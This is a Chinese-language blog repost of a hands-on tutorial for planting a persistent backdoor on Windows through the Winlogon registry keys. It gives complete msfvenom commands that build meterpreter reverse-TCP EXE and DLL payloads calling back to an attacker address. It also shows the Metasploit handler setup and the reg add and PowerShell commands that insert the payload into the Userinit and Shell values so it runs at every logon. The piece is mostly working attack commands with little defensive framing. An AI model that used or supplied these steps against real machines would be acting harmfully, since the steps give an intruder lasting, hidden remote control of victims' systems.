windows持久化后门之winlogon

admin 2024年3月5日08:02:04评论29 views字数 2002阅读6分40秒阅读模式

Winlogon介绍

Winlogon 是一个 Windows 组件,它处理各种活动,例如登录、注销、身份验证期间加载用户配置文件、关闭、锁定屏幕等。这种行为由注册表管理,注册表定义 Windows 登录期间启动哪些进程。从攻击的角度来看,这些事件可以是执行任意有效负载以实现持久性的触发器。

          

持久化原理

此持久性技术的实现需要修改以下注册表项:

Shell                  
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonShell  (写入后门exe)                  
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit(写入后门exe)                  
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonNotify(写入后门dll)

          

实战

生成后门payload.exe

Metasploit 实用程序“ msfvenom ”可用于生成各种格式的任意有效负载。

Shell                  
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe

windows持久化后门之winlogon    

          

Metasploit handler 模块需要进行相应配置,以便在目标系统上执行有效负载时捕获连接。

Shell                  
use exploit/multi/handler                  
set payload windows/meterpreter/reverse_tcp                  
set LHOST 10.0.0.1                  
set LPORT 4444                  
exploit

windows持久化后门之winlogon

Userinit注册表键值

生成的可执行文件需要放入系统(System32)中。修改注册表项“ Userinit ”以包含任意负载将导致系统在 Windows 登录期间运行两个可执行文件(userinit.exe 和 pentestlab.exe)。    

windows持久化后门之winlogon

          

由于有效负载将被执行,Meterpreter 会话将打开。    

windows持久化后门之winlogon

Shell注册表键值

与上面类似的行为有“ Shell ”注册表项。

windows持久化后门之winlogon

          

恶意负载将在 Windows 身份验证期间执行,并建立连接。    

windows持久化后门之winlogon

Notify键值与Dll注入

Notify ”注册表项通常出现在较旧的操作系统(Windows 7 之前的操作系统)中,它指向处理 Winlogon 事件的通知包 DLL 文件。使用任意 DLL 替换此注册表项下的 DLL 条目将导致 Windows 在登录期间执行它。以下命令可用于使用 Metasploit 生成 DLL 文件形式的有效负载。

Shell                  
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > pentestlab.dll

windows持久化后门之winlogon

DLLName ”注册表项已被修改为包含任意 DLL。    

windows持久化后门之winlogon

DLL 将以系统级权限执行,并且 Meterpreter 连接将在下次 Windows 登录时打开。

windows持久化后门之winlogon

可以从提升的命令提示符中使用以下两个命令来修改“ Shell ”和“ Userinit ”注册表项,而不是使用注册表编辑器。

Shell                  
reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogon" /v Userinit /d "Userinit.exe, pentestlab.exe" /f                  
reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogon" /v Shell /d "explorer.exe, pentestlab.exe" /f

windows持久化后门之winlogon

 同样,PowerShell 可用于通过使用“ Set-ItemProperty ”cmdlet修改现有注册表项 。    

Shell                  
Set-ItemProperty "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon" "Userinit" "Userinit.exe, pentestlab.exe" -Force                  
Set-ItemProperty "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon" "Shell" "explorer.exe, pentestlab.exe" -Force

windows持久化后门之winlogon    



原文始发于微信公众号(暴暴的皮卡丘):windows持久化后门之winlogon

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日08:02:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows持久化后门之winlogonhttp://cn-sec.com/archives/2546942.html

发表评论

匿名网友 填写信息